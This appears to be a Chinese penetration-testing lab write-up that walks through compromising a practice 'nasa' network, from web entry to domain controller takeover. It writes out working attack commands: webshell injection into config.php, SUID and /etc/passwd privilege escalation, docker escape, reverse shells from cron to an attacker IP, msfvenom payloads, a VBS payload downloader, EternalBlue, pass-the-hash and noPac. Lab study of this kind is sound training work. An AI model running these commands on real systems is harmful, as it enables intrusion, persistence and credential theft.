前言
打靶场是网安学习必经之路。一般靶场的洞都很简单,并没有太多技术力。但主要是体会这一个过程,将多个零散技术知识点联合起来进行实战演练,很多东西看看总是简单的,上手实践一下就会发现有些小细节还是得注意。
靶场介绍
nasa靶场是综合考核学员能力的项目,主要是考核外网打点到渗透内网域控的综合能力。
操作系统包括linux、windows,同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。
涉及代码审计、外网打点、多种漏洞配合拿webshell、linux提权、docker逃逸、内网常见漏洞模块利用、内网漫游、域权限的获取等技术。
通过渗透测试方式,获取五个flag即可
拓扑图
拓扑图如下:
由于靶机都放在本地,在此用个frp进行内网穿透
vps上的frps.ini
[common]
bind_port = 7788
token=token
本地靶机ubuntu的frpc.ini
[common]
server_addr = 150.140.x.x
server_port = 7788
token = token
[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 80
这样,访问http://150.140.x.x:80
就相当于访问http://192.168.110.173
在这偷个懒,后面就直接打192.168.110.173
,打点的时候注意一下就好。
外网打点
首先查看界面
端口扫描
先masscan扫一下看看,--rate
可以调高以加快速度。
masscan比nmap速度快但准确度低,如果什么都没扫出来可以调低速度多试几次。
masscan -p 1-65535 192.168.110.173 --rate=1000
再用nmap对扫出的端口进行详细扫描。
nmap -p 80 192.168.110.173 -Pn -sV -oN result.txt
#-Pn 目标机禁用ping,绕过ping扫描
#-sV 对端口上的服务程序版本进行扫描
#-oN 结果导出
没有太多利用的点,不过该扫还是得扫,常规操作了。
目录扫描
接下来就是扫下目录,找个php字典试试
ffuf -u "http://192.168.110.173/FUZZ" -w ./dict.txt -mc 200 -fs 0 -fl 1241
# -mc 200 筛选200状态码
# -fs 0 排除size为0的记录
# -fl 1241 排除line为1241的记录,主要是排除自动跳转到主页/错误页的记录
看下robots.txt内容
首先是data存在一个目录浏览器,这样整个站的路径就暴露出来了/data
里没啥东西,就存放的一些资源文件,/hook
放的一些php文件,其他也基本没啥。
翻了翻比较有用的就是/admin
,得出后台登录界面/admin/webadmin.php
自动漏扫
那接下来就是对网站进行测试了,再此之前当然得打开xray,说不定会有好事发生
cmd执行:
xray.exe webscan --listen 127.0.0.1:7777 --html-output nasa.html
burpsuite设置上游
弱口令爆破
打开登录页面,发现登录失败,验证码不变。
利用这点,就可以进行后台爆破。
接下来就得对该站进行社工来生成密码,网站的域名/标题/公司/邮箱/公司成员信息/部门信息等,反正有多少收集多少来组合字典去爆破。
利用https://api.xiaobaibk.com/lab/guess/这类生成工具生成一下,
然后扔进去,爆破一下得出密码。
当然我这里是知道密码,才那么快爆破出来的。如果常用的弱口令破不出来,建议先转换其他目标收集更多信息再尝试。
GoogleHacking
当然,上面这个弱口令不算。当看到一个CMS第一步要做的,就是Google!
如果能搜到那直接打!搜不到洞就搜源码,把代码扒下来审。
但如果是新入门,那搜不到相关审计文章就不要继续,因为挖0day真的需要时间+精力+经验。
代码审计
已知该CMS有洞,下载个源码审计试试。
初学代码审计最怕的是什么?
1.时间花下去了,什么成果都没有。
2.面对着茫茫多的代码不知从何下手。
在此讲解一个轻松愉快的代码审计流程。
首先,代码审计一般有两个思路:
-
搜危险函数,如
system/exec/shell_exec_passthru/eval/file_put_contents/
这类去磕,甚至serialize/unserialize
去挖反序列化链,也可以搜sql语句来试有没有sql注入。 -
白盒测试,走走网站流程看看有没有能打的点。比如看到上传点,搜下相关代码上传任意文件;看到?id再去翻代码看看有没有sql注入。不断走业务<->看代码循环,这样可以对该CMS的框架有个大致了解。
-
那新手入门用哪个思路好呢?当然是两个都用啦!
先搜搜看有么有SQL注入,SQL语句相关代码量小,不会像反序列化那样构造链冗长,而且比较容易判断是否存在过滤且能否绕过。
首先搜索mysql/mysqli关键字,得出是用mysqli
搜个select
关键字
当找到sql语句处,第二步就是看该sql语句的参数是否可控。
之前也说,不断走业务看代码循环,虽然很多代码看不懂,但可以了解到哪些目录/哪个文件夹是做什么。
比如之前搜select
关键字,会发现大部分代码都在这里,
然后上网站随便点点
会发现url构造的/user.php?mod=XXX
,这个XXX参数就是文件名。
这样,哪怕我没读过代码,不了解他的路由流程,不知道他是怎么执行的,但可以将某个页面和某个PHP文件对应起来。这样代码量一下就少了很多!
接下来就在/module
目录下用正则搜输入点:($_GET|$_POST|$_REQUEST)
trim()
还能绕过,如果是intval()
和floatval()
的话可以不用看了,基本上没法利用。堪称sql注入毒瘤。
最终能发现,这里有个sql注入点,且基本无过滤。
而且这个文件是在mobile_index里的,明显,是移动端的形式。
切换成手机模式,然后根据之前猜想的路由规则,访问一下,正确!
sqlmap跑一下,能行。
跑下账户密码
拿到个MD5,解密一下,nasa123
。
代码审计涉及到的知识点多而杂,细讲下去篇幅略长,主要还是得自己上手磨。耐着性子狠下功夫,肯定能出货的。
有了账号密码,就能进入后台继续找洞。
看了看文件上传的模块,是白名单形式,不好搞。
翻了一圈,什么都没找到,xray倒是扫出个xss,可惜并没有什么用。
然后找找文件写入,老样子,搜下关键字。
第一眼看到这个,感觉有门,curl是存在解析漏洞的,一般拿来SSRF。
但试了很久发现不行。
一般curl去解析http://foo@evil.com
,会访问evil.com
。
而这里多了个/
,http://foo/@evil.com
就没法绕过。
然后再找找,发现cms安装代码是将数据库信息组合成字符串再写入到config.php里。
这显然有利用的办法,那访问下试试
可惜,需要删掉这个文件才行。
找了一圈,没有直截了当的文件写入,只能找找有没有任意文件删除。
在后台把带删除含义的按钮点了个遍,抓到个这个:
代码在admin/module/db.php
,很简单,但这个$_g_dbname
是怎么回事?搜了一圈都没找到在哪接收的值。
最后找了一圈,发现在common.php
里,将接收到的GET和POST的值加个_g
前缀利用extract()
添加到变量里。
抓个包,打一下:
然后来仔细看看代码,
$config = "<?phpn$pe['db_host'] = '{$_p_db_host}'; //数据库主机地址n$pe['db_name'] = '{$_p_db_name}'; //数据库名称n$pe['db_user'] = '{$_p_db_user}'; //数据库用户名n$pe['db_pw'] = '{$_p_db_pw}'; //数据库密码n$pe['db_coding'] = 'utf8';n$pe['url_model'] = 'pathinfo_safe'; //url模式,可选项(pathinfo/pathinfo_safe/php)ndefine('dbpre','{$_p_dbpre}'); //数据库表前缀n?>";
file_put_contents("{$pe['path_root']}config.php", $config);
在这里可以进行闭合然后写入一句话马。
这样,就成功拿到shell了。
然后看看禁用的函数,基本没啥禁用,就不用考虑绕过了。
提权
终端看看权限,是www,那么就得提权。
Linux提权有很多种方式,常用的suid、sudo,脏牛等,去年还出了个脏管道(Dirty-Pipe)。
先用以下命令找一下带suid的文件:
find / -perm -u=s -type f 2>/dev/null
find . -exec /bin/sh ; -quit
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
搜出来find
,然后到https://gtfobins.github.io/这里查一下
这里就写了如何利用该文件进行提权的命令。
网站给出的是完整的测试命令,平时使用只需要用第二行即可。
那执行个命令试试。
find . -exec whoami ; -quit
可见提权成功,接下来生成个MSF的马。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.131 LPORT=6666 -f elf > shell
然后在kali进入msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.110.131
set lport 6666
再到蚁剑终端里执行shell(将点改为index.php是为了避免弹多个session)
find index.php -exec ./shell ; -quit
提权成功了,但这种形式的root权限并不完整,最好是创建个root用户。然后就是passwd提权的思路:
openssl passwd -1 -salt hack 123456 #生成$1$hack$.JxSX4bOP1WSqH0kCgs9Y.
echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/root:/bin/bash' >>/etc/passwd
然后尝试切换用户,但在这里提示su: must be run from a terminal
,说明这不是一个可交互终端。
python -c 'import pty; pty.spawn("/bin/bash")'
生成个交互终端,然后切换用户:
然后判断一下是不是在docker环境,看看根目录
也可以用cat /proc/1/cgroup
看是否有docker字符串:
docker逃逸
接下来进行docker逃逸,目前而言逃逸的办法不多,都得有特定条件,一个一个试过去,不行就弃。
试了半天,特权模式下逃逸可行,猜测docker run
时加了--privileged
--privileged
:Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
先fdisk -l
看看磁盘文件名称:
mkdir /test
mount /dev/sda1 /test #将宿主机的目录挂载到test目录
chroot /test #改变根目录为/test
这样就逃逸成功了
然后再写个反弹shell到定时任务来维持权限:
echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /var/spool/cron/crontabs/root
echo "* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /etc/crontab
设定好监听端口和payload:
set lport 4444
set payload cmd/unix/reverse_bash
如果一下弹太多shell容易一下开出多个session,所以定时间隔不要太短。
session -i 2
进一个shell看看
既然没问题,那用sessions -k 3
清理掉多余的sessions,再用sessions -u 2
尝试升级下shell。
提示报错了,但也显示sessions开启了。查看下sessions 7试试:
看样子并没有什么问题,所以可能是执行的命令没有得到期望的回调才报错,但实际上shell还是执行成功了。
这样就先拿到第一个flag了。
内网横移
内网扫描
接下来就是内网篇,首先做个路由转发,用post/multi/manage/autoroute
模块。
值得注意的是,设置好路由转发后MSF模块就可以正常使用,但外部的程序(如nmap)还需要设置个代理。
用auxiliary/server/socks_proxy
模块开个代理。
默认是socks5://0.0.0.0:1080
。
代理启动后就在/etc/proxychains4.conf
中加个socks5 127.0.0.1 1080
。
然后用nmap扫一下
proxychains4 nmap -sS -Pn 192.168.110.0/24 -p 445,80
扫出三台机子:
iis6.0溢出
144和197的445端口都打开了,所以第一反应肯定是掏出永恒之蓝试试。
在msf中用windows/smb/ms17_010_eternalblue
模块
use windows/smb/ms17_010_eternalblue
set pyaload windows/meterpreter/bind_tcp #选择正向shell
set rhosts 192.168.110.197
可惜利用失败,那么就得找点其他办法。
之前nmap扫出来过192.168.110.144
的80端口是开启的,去访问看看。
明显是个ISS页面,
版本查出来是IIS6.0
然后随便找个漏洞库一搜,搜到CVE-2017-7269 IIS 6.0开启Webdav缓存区溢出漏洞
IIS 6.0开启Webdav服务的服务器被爆存在缓存区溢出漏洞导致远程代码随意执行,目前针对Windows Server 2003 R2 可以稳定利用。
粗略的看了一下是可行的,那接下来搜搜有没有现成的POC。
可以在GITHUB、exploit-db或扒漏洞库里的POC,在这里我直接在MSF搜了。
设置好远程主机就可以直接run了。windows/iis/iis_webdav_scstoragepathfromurl
这个模块试了很久都不行,搜了下似乎是有问题至今未修复。
github上找了个,扔msf里,成功打入。
后面就是老套路,写个马便于权限维持。
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=7777 -f exe -o s.exe
写个vbs下载脚本
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>download.vbs
cscript downfile.vbs http://IP:8000/s.exe s.exe
然后再使用MS09-020-KB970483-CVE-2009-1535-IIS6这个提权洞进行提权。
这里发现一些字符有乱码,但是2003又没法用chcp 65001
再次使用chcp 10000
,转换为UTF16编码,虽然中文是问号,但英文能正常显示了。
之后拿下第二个flag:
2003信息收集
在最新的msf版本中load mimikatz
已经取消了,所以使用kiwi模块
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。
用hashdump查看密码
Administrator:500:b7a7f6ace75537edb75e0c8d76954a50:42e2656ec24331269f82160ff5962387:::
ASPNET:1006:c5f4c32e080b1c0a19f45641a62db986:5643281884dd972acd9b0eaeecd13522:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_WWW-79FA760B73D:1000:a1323e561696c32ad68862a8c0118e7e:00dd987a1d0c4540f919b3eb5fc0b1cd:::
IWAM_WWW-79FA760B73D:1001:123dec921ecc0ca82f1106015d8abba7:556f2d1b30d88fc35eb8c4d573a5cd14:::
SUPPORT_388945a0:1004:aad3b435b51404eeaad3b435b51404ee:f739006531fcc09af8615f9575fa943c:::
以Administrator:500:b7a7f6ace75537edb75e0c8d76954a50:42e2656ec24331269f82160ff5962387:::
为例
Administrator:UID:LM口令哈希:NTLM口令哈希值
尝试解密,成功解出密码为QWEasd123
。当然解不出也没关系。后面也可以直接用。
ipconfig,发现有两个网卡。
上传个nbtscan,扫一下
nbtscan -r 10.10.10.0/24
还是老样子,用post/multi/manage/autoroute
模块开个路由转发,这样就能进10.10.10.0/24网段了。
smb爆破
用QWEasd123
当密码,使用scanner/smb/smb_login
进行批量弱口令测试。
最后发现WIN7这台机子用的相同的密码。
PTH
PTH(pass the hash),即哈希传递攻击。适用于:
域/工作组环境
可拿hash,但无法爆破
内网中存在和当前机器相同的密码
在此使用psexec,psexec的使用有以下几个注意点:
需要远程系统开启
admin$
共享(默认是开启的)因为PsExec连接的原理是基于IPC共享,因此目标需要开放445端口
使用
IPC$
连接目标系统后,再使用psexec无需账户密码在使用PsExec执行远程命令时,会在目标系统中创建一个psexec的服务,命令执行完后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程
使用PsExec可以直接获得System权限的交互式Shell的前提目标是administrator权限的shell
在域环境测试时发现,非域用户无法利用内存中的票据使用PsExec功能,只能依靠账号和密码进行传递
先尝试常规的psexec模块exploit/windows/smb/psexec
显然不行:
这个模块没有具体的错误信息,使用impacket包里的试试。
显然,不满足常规psexec使用条件。
掏出永恒之蓝,用windows/smb/ms17_010_psexec
模块
set payload windows/meterpreter/bind_tcp
set smbuser WIN7
set smbpass QWEasd123
set rhosts 10.10.10.142
成功拿下
WIN7信息收集
老样子,用kiwi收集下信息
load kiwi
kiwi_cmd sekurlsa::logonPasswords
在加载的时候有个提示:
想读取哈希也不行。
前文有讲过:
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。
所以,需要迁移一下进程。
在此使用自动迁移是行不通的,需要手动一下。
ps查看进程,随便选一个,比如396。
然后migrate 396
,迁移成功:
此时再读取一下哈希,加载成功。
这里就显示出了域用户test的明文密码。注意,如果该用户没有登录过,就不会有明文出现。
同样hashdump一下:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
win7:1000:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
之后想进shell,发现报错
想到可能是迁移的进程不太好,于是重新迁移了下。
这里字符乱码,使用chcp 65001
修改cmd编码即可。
拿下第三个flag
攻击域控
使用net group "domain controllers" /domain
查下域控,发现有两个:ad01$
和ad02$
再查主域控,在域环境中,主域控制器会同时被用作时间服务器,所以使用net time /domain
查询
经过一番尝试,最后发现CVE-2021-42278/CVE-2021-42287可行,可以十分方便的将域普通用户提权到域管理用户。
https://github.com/Ridter/noPac
proxychains4 python scanner.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140
看来可行
proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 -shell --impersonate administrator
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target AD01.nasa.gov
[*] will try to impersonat administrator
[*] Adding Computer Account "WIN-T6MSDOGTNXQ$"
[*] MachineAccount "WIN-T6MSDOGTNXQ$" password = NJul1c8qv)XE
[*] Successfully added machine account WIN-T6MSDOGTNXQ$ with password NJul1c8qv)XE.
[*] WIN-T6MSDOGTNXQ$ object = CN=WIN-T6MSDOGTNXQ,CN=Computers,DC=nasa,DC=gov
[*] WIN-T6MSDOGTNXQ$ sAMAccountName == AD01
[*] Saving ticket in AD01.ccache
[*] Resting the machine account to WIN-T6MSDOGTNXQ$
[*] Restored WIN-T6MSDOGTNXQ$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Saving ticket in administrator.ccache
[*] Remove ccache of AD01.nasa.gov
[*] Rename ccache with target ...
[*] Attempting to del a computer with the name: WIN-T6MSDOGTNXQ$
[-] Delete computer WIN-T6MSDOGTNXQ$ Failed! Maybe the current user does not have permission.
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
反弹了个shell,成功获得权限。
再使用该脚本hashdump一下:
proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 --impersonate administrator -dump
使用以下命令可以只导出Administrator的哈希,在这里不能写成nasa.gov/Administrator,虽然脚本这么显示。
proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 --impersonate administrator -dump -just-dc-user Administrator
nasa.govAdministrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
拿到哈希,后面就是常规PTH了。
用psexec
proxychains4 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140
或者使用wmi
由于Windows默认不会将WMI的操作记录在日志里,同时现在越来越多的杀软将PsExec加入了黑名单,因此WMI比PsExec隐蔽性要更好一些
proxychains4 python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140 -codec gbk
第四个flag
同样连接ad02,拿第五个flag
结语
到这就告一段落了,中间摸了几个月,最近补完流程,写到后面已经有点疲倦了,只想快点结束。
主要给出一个大致流程,很多技术还没涉及到,比如权限维持、委派攻击之类的,还有一些细节性的东西也没写,后续打其他靶场再补充吧。
如有侵权,请联系删除
好文推荐